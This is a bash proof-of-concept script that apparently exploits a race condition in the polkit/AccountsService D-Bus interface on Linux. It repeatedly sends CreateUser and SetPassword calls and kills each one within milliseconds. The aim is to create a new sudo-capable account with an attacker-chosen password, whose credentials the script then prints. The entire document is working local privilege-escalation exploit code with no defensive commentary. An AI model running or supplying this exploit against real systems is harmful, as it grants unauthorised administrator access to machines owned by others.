#!/bin/bash

poc_user=$1
poc_userPass=$2
userPass=`openssl passwd -5 $poc_userPass`
checkTimes=0
SetTimes=0

statusCheck() {
	id $poc_user |grep sudo
	bool=`echo $?`

	while [ "$bool" == "1" ]
	do
		checkTimes=$(( $checkTimes + 1 ))
		echo -e "tried $checkTimes times to add sudoer user: $poc_user ;)"
		sleep 0.3s && funcJump $funcFlag;

	done
	userPass_Set
}

funcJump() {
	echo $funcFlag
	if [ "$funcFlag" == "pocMain" ]; then
		pocMain
	else
		userPass_Set
	fi
}



userPass_Set() {
	funcFlag=userPass_Set
	while [ $SetTimes -le 10 ] 
	do
		echo -e "----- \nSet pass for $poc_user. tried $SetTimes times. "
		SetTimes=$(( $SetTimes + 1 ))
		dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:"$userPass" string:stupid2FOOLISH & sleep 0.0015s ; kill $!
	    if [[ $SetTimes == 10 ]]; then
	    	#statements
	    	break
	    fi
	done


}


pocMain(){
	funcFlag=pocMain
	echo $poc_user
	dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:"$poc_user" string:"stupid2FOOLISH" int32:1 & sleep 0.0015s ; kill $! && statusCheck $funcFlag;

}

pocMain $poc_user;
echo -e "add $poc_user success. \n $poc_user 's pass: $poc_userPass & hash: $userPass"
sleep 1s
echo -e "\033[01m username:$poc_user\n userpass:$poc_userPass \033[0m" 